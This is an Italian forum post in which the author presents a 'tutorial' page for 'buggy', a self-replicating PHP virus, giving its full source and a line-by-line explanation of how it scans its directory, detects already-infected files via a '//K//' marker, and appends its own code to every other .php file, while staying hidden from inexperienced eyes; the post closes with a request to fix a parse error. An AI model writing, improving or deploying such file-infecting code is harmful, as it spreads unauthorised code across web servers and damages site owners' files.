Ho scritto questa pagina:
Codice PHP:
<?php
include('../template/head.html');
include('funzioni.php');
title("Tutorials: buggy");
include('../template/body.html');
?>
Ecco buggy:<code>
<?php
//K//
$path=__FILE__;$nme=explode("\\",$path);$nmec=count($nme);$nme2=$nme[($nmec - 1)];$i=0;$d=dir(".");while($entry = $d->read()){$filez[$i]=$entry;$i++;};$d->close();foreach($filez as $f){$f2=explode(".",$f);$f2c=count($f2);if($f2[($f2c - 1)] == "php"){$o=file($f);$oc=count($o);@$o2=$o[($oc - 2)]; if($o2 == "//K//\r\n"){}else{$u=file($nme2);$uc=count($u);$a=fopen("$f","a");fputs($a,"\n<?php\n//K//\r\n".$u[($uc - 3)]."//K//\r\n?>");fclose($a);}}else{}}
//K//</code>
?>
Ora analizziamo il codice:<br>
1) E' progettato per tracciare la sua posizione tramite il numero di righe, quindi l'intero codice deve stare su una (più semplice)
2) E' meno visibile da occhi inesperti che curiosano sull'php.
- Il codice inizia per "<?php" e finisce per "?>" a ricordare che è uno script php banale :-)
- I due "//K//" sono i "marcatori" e servono al virus per tracciare la propria posizione all'interno della pagina web (si localizza comunque sempre alla fine), il primo marcatore è attualmente inutile, l'ho messo per le versioni successive quando migliorerò la routine di tracciamento, mentre l'ultimo è quello effettivamente usato. (notare che iniziano per // in modo che vengano ignorati dal php)
- Routine di localizzazione file sorgente.<br><br>
<code>$path=__FILE__;</code> (Scrive su $path l'url della pagina che si sta eseguendo)<br>
<code>$nme=explode("\\",$path);</code> (Divide la stringa in un array ogni volta che trova il termine divisore "\")<br>
<code>$nmec=count($nme);</code> (Conta in quanti parti è stata divisa la stringa)<br>
<code>$nme2=$nme[($nmec - 1)];</code> (Localizza l'ultima parte della stringa (che è il nome del file + la sua estensione)<br><br>
- Routine di ricerca file nella directory.<br><br>
<code>$ii=0;$d=dir(".");while($entry = $d->read()){$filez[$i]=$entry;$i++;};$d->close();foreach($filez as $f)<code>
(Codice che scorre tutti i file nella cartella. Da ora in poi parte un ciclo per ogni file trovato)<br><br>
- Parte del ciclo: routine di localizzazione file infettabili (.php)<br><br>
<code>$f2=explode(".",$f);</code> (Divide in un Array il nome del file trovato dalla sua estensione)<br>
<code>$f2c=count($f2);</code> (Conta le parti divise, dato che divide per "." portebbe trovare + parti, ma a noi interessa l'ultima, l'estensione)<br>
<code>if($f2[($f2c - 1)] == "php")</code> (Cerca l'estensione infettabile ".php", qui dovrei aggiungerci anche le altre legate al php)<br><br>
- Parte del ciclo (se trova un file ".php"): Routine di localizzazione di pagine già infettate.<br><br>
<code>$o=file($f);</code> (Apre il file trovato con estensione ".php")<br>
<code>$oc=count($o);</code> (Conta le linee nel file)<br>
<code>@$o2=$o[($oc - 2)];</code> (Trova la 2° linea dal basso, @ per evitare errori in caso essa non esista.)<br>
<code>if($o2 == "//K//\r\n")</code> (Se la linea trovata contiene il marcatore "//K//" allora è già infettata)<br><br>
- Parte del ciclo (se la pagine non è infettata): Routine di infezione.<br><br>
<code>$u=file($nme2);</code> (Apre il file sorgente, sè stesso)<br>
<code>$uc=count($u);</code> (Conta le linee del file sorgente)<br>
<code>$a=fopen("$f","a");</code> (Apre il file da infettare)<br>
<code>fputs($a,"\n<?php\n//K//\r\n".$u[($uc - 3)]."//K//\r\n?>");</code> (Infetta il file copiandosi letteralmente dal sorgente alla pagina vittima)<br>
<code>fclose($a);</code> (Chiude il file vittima)<br>
Ebbene mi segnala errore:
Codice:
Parse error: syntax error, unexpected T_STRING in /membri/gabryhacker/esempi/buggy.php on line 10
Ma la linea 10 (che è quella dello script) non ha i tag di apertora/chiusura di php!